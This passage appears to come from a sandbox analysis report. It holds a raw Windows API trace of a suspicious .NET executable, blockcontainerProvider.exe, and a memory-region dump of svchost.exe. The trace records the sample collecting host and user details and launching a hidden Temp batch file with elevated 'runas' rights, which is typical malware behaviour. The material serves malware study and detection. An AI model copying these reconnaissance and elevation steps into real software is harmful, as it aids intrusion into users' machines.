lpData=0x0, lpcbData=0x1bd8ebe0*=0x0) returned 0x2 [0052.485] RegCloseKey (hKey=0x298) returned 0x0 [0052.486] GetCurrentProcessId () returned 0xe88 [0052.486] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.486] EnumProcessModules (in: hProcess=0x298, lphModule=0x2962b28, cb=0x200, lpcbNeeded=0x1bd8ebd0 | out: lphModule=0x2962b28, lpcbNeeded=0x1bd8ebd0) returned 1 [0052.487] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2962d98, cb=0x18 | out: lpmodinfo=0x2962d98*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.487] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.487] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.488] CoTaskMemFree (pv=0x1186fe0) [0052.488] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.488] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.488] CoTaskMemFree (pv=0x1186fe0) [0052.488] CloseHandle (hObject=0x298) returned 1 [0052.489] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.489] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x0) returned 0x2 [0052.490] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x298) returned 0x0 [0052.490] RegQueryValueExW (in: hKey=0x298, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1bd8ebe8, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0 | out: lpType=0x1bd8ebe8*=0x0, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0) returned 0x2 [0052.490] RegCloseKey (hKey=0x298) returned 0x0 [0052.491] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x298) returned 0x0 [0052.491] RegQueryValueExW (in: hKey=0x298, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x1bd8ebe8, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0 | out: lpType=0x1bd8ebe8*=0x0, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0) returned 0x2 [0052.491] RegCloseKey (hKey=0x298) returned 0x0 [0052.492] GetCurrentProcessId () returned 0xe88 [0052.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x298 [0052.493] EnumProcessModules (in: hProcess=0x298, lphModule=0x2965dc8, cb=0x200, lpcbNeeded=0x1bd8ebd0 | out: lphModule=0x2965dc8, lpcbNeeded=0x1bd8ebd0) returned 1 [0052.494] GetModuleInformation (in: hProcess=0x298, hModule=0x13b0000, lpmodinfo=0x2966050, cb=0x18 | out: lpmodinfo=0x2966050*(lpBaseOfDll=0x13b0000, SizeOfImage=0xd8000, EntryPoint=0x147f1ee)) returned 1 [0052.494] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.494] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x13b0000, lpBaseName=0x1186fe0, nSize=0x800 | out: lpBaseName="blockcontainerProvider.exe") returned 0x1a [0052.494] CoTaskMemFree (pv=0x1186fe0) [0052.494] CoTaskMemAlloc (cb=0x804) returned 0x1186fe0 [0052.494] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x13b0000, lpFilename=0x1186fe0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe")) returned 0x2a [0052.495] CoTaskMemFree (pv=0x1186fe0) [0052.495] CloseHandle (hObject=0x298) returned 1 [0052.495] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1bd8e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0052.496] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x0) returned 0x2 [0052.496] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8eba8 | out: phkResult=0x1bd8eba8*=0x298) returned 0x0 [0052.496] RegQueryValueExW (in: hKey=0x298, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x1bd8ebe8, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0 | out: lpType=0x1bd8ebe8*=0x0, lpData=0x0, lpcbData=0x1bd8ebe0*=0x0) returned 0x2 [0052.496] RegCloseKey (hKey=0x298) returned 0x0 [0052.719] CoTaskMemAlloc (cb=0x20c) returned 0x11630b0 [0052.719] GetSystemDirectoryW (in: lpBuffer=0x11630b0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0052.719] CoTaskMemFree (pv=0x11630b0) [0052.739] GetComputerNameW (in: lpBuffer=0x1bd8d480, nSize=0x1bd8d7a8 | out: lpBuffer="Q9IATRKPRH", nSize=0x1bd8d7a8) returned 1 [0052.922] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1bd8c1b8 | out: phkResult=0x1bd8c1b8*=0x298) returned 0x0 [0052.930] RegQueryValueExW (in: hKey=0x298, lpValueName="ProductName", lpReserved=0x0, lpType=0x1bd8c208, lpData=0x0, lpcbData=0x1bd8c200*=0x0 | out: lpType=0x1bd8c208*=0x1, lpData=0x0, lpcbData=0x1bd8c200*=0x2e) returned 0x0 [0052.931] RegQueryValueExW (in: hKey=0x298, lpValueName="ProductName", lpReserved=0x0, lpType=0x1bd8c208, lpData=0x2969ae8, lpcbData=0x1bd8c200*=0x2e | out: lpType=0x1bd8c208*=0x1, lpData="Windows 7 Professional", lpcbData=0x1bd8c200*=0x2e) returned 0x0 [0052.974] RegCloseKey (hKey=0x298) returned 0x0 [0052.994] CoTaskMemAlloc (cb=0x20c) returned 0x11630b0 [0052.994] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x11630b0 | out: pszPath="C:\\Users\\kEecfMwgj") returned 0x0 [0052.994] CoTaskMemFree (pv=0x11630b0) [0052.994] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x1bd8d130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0053.002] CoTaskMemAlloc (cb=0x20c) returned 0x11630b0 [0053.002] GetSystemDirectoryW (in: lpBuffer=0x11630b0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0053.002] CoTaskMemFree (pv=0x11630b0) [0053.026] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1bd8d180, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0053.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bd8d7e8) returned 1 [0053.032] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1bd8d858, lpTotalNumberOfBytes=0x1bd8d850, lpTotalNumberOfFreeBytes=0x1bd8d848 | out: lpFreeBytesAvailableToCaller=0x1bd8d858, lpTotalNumberOfBytes=0x1bd8d850, lpTotalNumberOfFreeBytes=0x1bd8d848) returned 1 [0053.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bd8d798) returned 1 [0053.546] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1bd8d4f8 | out: phkResult=0x1bd8d4f8*=0x298) returned 0x0 [0053.555] RegQueryValueExW (in: hKey=0x298, lpValueName="Release", lpReserved=0x0, lpType=0x1bd8d548, lpData=0x0, lpcbData=0x1bd8d540*=0x0 | out: lpType=0x1bd8d548*=0x4, lpData=0x0, lpcbData=0x1bd8d540*=0x4) returned 0x0 [0053.555] RegQueryValueExW (in: hKey=0x298, lpValueName="Release", lpReserved=0x0, lpType=0x1bd8d548, lpData=0x1bd8d528, lpcbData=0x1bd8d540*=0x4 | out: lpType=0x1bd8d548*=0x4, lpData=0x1bd8d528*=0x80eb1, lpcbData=0x1bd8d540*=0x4) returned 0x0 [0053.556] RegQueryValueExW (in: hKey=0x298, lpValueName="Release", lpReserved=0x0, lpType=0x1bd8d548, lpData=0x0, lpcbData=0x1bd8d540*=0x0 | out: lpType=0x1bd8d548*=0x4, lpData=0x0, lpcbData=0x1bd8d540*=0x4) returned 0x0 [0053.556] RegQueryValueExW (in: hKey=0x298, lpValueName="Release", lpReserved=0x0, lpType=0x1bd8d548, lpData=0x1bd8d528, lpcbData=0x1bd8d540*=0x4 | out: lpType=0x1bd8d548*=0x4, lpData=0x1bd8d528*=0x80eb1, lpcbData=0x1bd8d540*=0x4) returned 0x0 [0053.560] RegCloseKey (hKey=0x298) returned 0x0 [0053.622] GetComputerNameW (in: lpBuffer=0x1bd8e9a0, nSize=0x1bd8ecc8 | out: lpBuffer="Q9IATRKPRH", nSize=0x1bd8ecc8) returned 1 [0053.636] GetUserNameW (in: lpBuffer=0x1bd8e9c0, pcbBuffer=0x1bd8ece8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bd8ece8) returned 1 [0076.393] CoUninitialize () Thread: id = 26 os_tid = 0xeb4 Thread: id = 27 os_tid = 0xeb8 [0053.660] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0053.661] CoGetContextToken (in: pToken=0x1be9f400 | out: pToken=0x1be9f400) returned 0x0 [0053.661] CObjectContext::QueryInterface () returned 0x0 [0053.661] CObjectContext::GetCurrentThreadType () returned 0x0 [0053.661] Release () returned 0x0 [0053.661] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0053.661] CoUninitialize () [0054.159] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x248 [0054.160] memcpy (in: _Dst=0x4a0000, _Src=0x297e708, _Size=0x1200 | out: _Dst=0x4a0000) returned 0x4a0000 [0054.160] CloseHandle (hObject=0x248) returned 1 [0076.100] CoUninitialize () Thread: id = 28 os_tid = 0xebc [0054.307] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0055.135] CoUninitialize () Thread: id = 216 os_tid = 0x97c [0091.369] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0091.371] CoGetContextToken (in: pToken=0x1b3ff820 | out: pToken=0x1b3ff820) returned 0x0 [0091.371] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b3ff858 | out: ppvObject=0x1b3ff858*=0x111f638) returned 0x0 [0091.371] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b3ff8c8 | out: pThreadType=0x1b3ff8c8*=0) returned 0x0 [0091.371] IUnknown:Release (This=0x111f638) returned 0x1 [0091.371] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0091.371] CoUninitialize () Thread: id = 217 os_tid = 0x980 Thread: id = 219 os_tid = 0x988 [0092.521] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0092.522] ShellExecuteExW (in: pExecInfo=0x2a28ef8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a28ef8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x4f4)) returned 1 [0094.014] CoGetContextToken (in: pToken=0x1bddf590 | out: pToken=0x1bddf590) returned 0x0 [0094.017] CoUninitialize () Thread: id = 222 os_tid = 0x998 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75d6000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1c8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d9b4" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1081 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1082 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1083 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1084 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1085 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1086 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1087 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1088 start_va = 0xf0000 end_va = 0x156fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1089 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1090 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1091 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1092 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1093 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1094 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1095 start_va = 0x3a0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1096 start_va = 0x460000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1097 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1098 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1099 start_va = 0x610000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1100 start_va = 0x7a0000 end_va = 0x7acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1101 start_va = 0x7b0000 end_va = 0x7b3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 1102 start_va = 0x7c0000 end_va = 0x7c9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 1103 start_va = 0x7d0000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1104 start_va = 0x7e0000 end_va = 0x7e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1105 start_va = 0x7f0000 end_va = 0x7f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1106 start_va = 0x800000 end_va = 0x801fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1107 start_va = 0x810000 end_va = 0x813fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1108 start_va = 0x820000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1109 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 1110 start_va = 0x840000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1111 start_va = 0x850000 end_va = 0x869fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 1112 start_va = 0x870000 end_va = 0x870fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 1113 start_va = 0x880000 end_va = 0x880fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 1114 start_va = 0x890000 end_va = 0x897fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1115 start_va = 0x8a0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 1116 start_va = 0x8d0000 end_va = 0x935fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1117 start_va = 0x940000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 1118 start_va = 0x9c0000 end_va = 0x9cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1119 start_va = 0x9d0000 end_va = 0x9d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1120 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 1121 start_va = 0x9f0000 end_va = 0x9f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 1122 start_va = 0xa00000 end_va = 0xa06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1123 start_va = 0xa10000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 1124 start_va = 0xa20000 end_va = 0xa25fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 1125 start_va = 0xa70000 end_va = 0xa8bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1126 start_va = 0xb10000 end_va = 0xddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1127 start_va = 0xe00000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1128 start_va = 0xef0000 end_va = 0xf6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1129 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1130 start_va = 0x1050000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1131 start_va = 0x1120000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1132 start_va = 0x11a0000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 1133 start_va = 0x1220000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 1134 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1135 start_va = 0x1340000 end_va = 0x1340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001340000" filename = "" Region: id = 1136 start_va = 0x1370000 end_va = 0x1372fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1137 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 1138 start_va = 0x1450000 end_va = 0x14cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 1139 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 1140 start_va = 0x15c0000 end_va = 0x163ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1141 start_va = 0x1680000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 1142 start_va = 0x1770000 end_va = 0x17effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 1143 start_va = 0x1830000 end_va = 0x18affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 1144 start_va = 0x1900000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1145 start_va = 0x19f0000 end_va = 0x1a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1146 start_va = 0x1a70000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1147 start_va = 0x1c00000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1148 start_va = 0x1cb0000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 1149 start_va = 0x1d30000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1150 start_va = 0x1e30000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1151 start_va = 0x1eb0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 1152 start_va = 0x1f50000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 1153 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 1154 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 1155 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 1156 start_va = 